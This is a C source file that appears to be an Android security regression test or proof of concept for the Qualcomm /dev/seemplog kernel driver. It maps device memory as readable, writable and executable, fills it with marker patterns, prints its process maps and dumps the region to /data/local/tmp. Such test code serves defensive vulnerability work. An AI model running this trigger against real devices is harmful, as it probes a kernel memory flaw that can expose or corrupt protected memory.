/*
* Copyright (C) 2017 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#define DEVICE "/dev/seemplog"
#define SZ_1M 0x100000
#define FOUR_MB (4 * SZ_1M)
#define BLK_SIZE 256
#define BLK_HDR_SIZE 64
#define TS_SIZE 20
#define BLK_MAX_MSG_SZ (BLK_SIZE - BLK_HDR_SIZE)
#define TASK_COMM_LEN 16
#define MAGIC 'z'
#define SEEMP_CMD_RESERVE_RDBLKS _IOR(MAGIC, 1, int)
#define SEEMP_CMD_RELEASE_RDBLKS _IO(MAGIC, 2)
#define SEEMP_CMD_GET_RINGSZ _IOR(MAGIC, 3, int)
#define SEEMP_CMD_GET_BLKSZ _IOR(MAGIC, 4, int)
#define SEEMP_CMD_SET_MASK _IO(MAGIC, 5)
#define SEEMP_CMD_SET_MAPPING _IO(MAGIC, 6)
#define SEEMP_CMD_CHECK_FILTER _IOR(MAGIC, 7, int)
#define SEEMP_CMD_DEBUG_START _IOR(MAGIC, 8, int)
#define SEEMP_CMD_DEBUG_STOP _IOR(MAGIC, 9, int)
struct read_range {
int start_idx;
int num;
};
struct blk_payload {
uint32_t api_id;
char msg[BLK_MAX_MSG_SZ];
} __attribute__((packed));
struct seemp_logk_blk {
uint8_t status;
uint16_t len;
uint8_t version;
int32_t pid;
int32_t uid;
int32_t tid;
int32_t sec;
int32_t nsec;
char ts[TS_SIZE];
char appname[TASK_COMM_LEN];
struct blk_payload payload;
} __attribute__((packed));
void dump_blk_headers(char *ptr) {
int i;
struct seemp_logk_blk *temp;
for (i = 0; i < (FOUR_MB / 256); i++) {
temp = (struct seemp_logk_blk *)ptr;
ptr += 256;
}
}
void print_maps(int time) {
char cmd[] = "/proc/%d/maps";
char cmd2[sizeof("/proc/-2147483648/maps")];
FILE *fp;
size_t nread;
char buf[1024];
snprintf(cmd2, sizeof(cmd2)-1, cmd, getpid());
fp = fopen(cmd2, "r");
if (fp == NULL) {
exit(-1);
}
while ((nread = fread(buf, 1, sizeof(buf), fp)) > 0)
fwrite(buf, 1, nread, stdout);
fclose(fp);
sleep(time);
}
void reserve_rdblks(int fd) {
struct read_range rrange;
ioctl(fd, SEEMP_CMD_RESERVE_RDBLKS, &rrange);
}
unsigned int get_ringsz(int fd) {
unsigned int ringsz;
ioctl(fd, SEEMP_CMD_GET_RINGSZ, &ringsz);
return ringsz;
}
unsigned int get_blksz(int fd) {
unsigned int blksz;
ioctl(fd, SEEMP_CMD_GET_BLKSZ, &blksz);
return blksz;
}
void write_to_file(char *ptr) {
FILE *dumpfp = fopen("/data/local/tmp/dump", "wb");
int i;
if (dumpfp == NULL) {
exit(-1);
}
fwrite(ptr, 1, FOUR_MB, dumpfp);
fclose(dumpfp);
}
void write_to_dev(int fd) {
char ts[] = "IIIIIIIIIIIIIIIIIIII";
char appname[] = "JJJJJJJJJJJJJJJJ";
char msg[] = "LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL";
struct seemp_logk_blk block;
block.status = 0xff;
block.len = 0x4242;
block.version = 'C';
block.pid = 0x44444444;
block.uid = 0x45454545;
block.tid = 0x46464646;
block.sec = 0x47474747;
block.nsec = 0x48484848;
strcpy(block.ts, ts);
strcpy(block.appname, appname);
block.payload.api_id = 0x51515151;
strcpy(block.payload.msg, msg);
}
void do_mapping(void **ptr, int fd) {
*ptr = mmap(NULL,
FOUR_MB,
0x7,
MAP_SHARED,
fd,
0);
if (*ptr == MAP_FAILED) {
close(fd);
exit(-1);
}
}
void spam_mapped_region(char *ptr, int offset, int size) {
int i;
for (i = offset; i < size; i++)
*(ptr + i) = 'A';
}
void start_printk(int fd) {
ioctl(fd, SEEMP_CMD_DEBUG_START, NULL);
}
void stop_printk(int fd) {
ioctl(fd, SEEMP_CMD_DEBUG_STOP, NULL);
}
int main() {
int fd;
void *ptr;
int i;
fd = open(DEVICE, O_RDWR);
if (fd == -1) {
exit(-1);
}
start_printk(fd);
do_mapping(&ptr, fd);
for (i = 0; i < (FOUR_MB / 256); i++)
write_to_dev(fd);
dump_blk_headers(ptr);
print_maps(5);
write_to_file(ptr);
stop_printk(fd);
close(fd);
munmap(ptr, FOUR_MB);
return 0;
}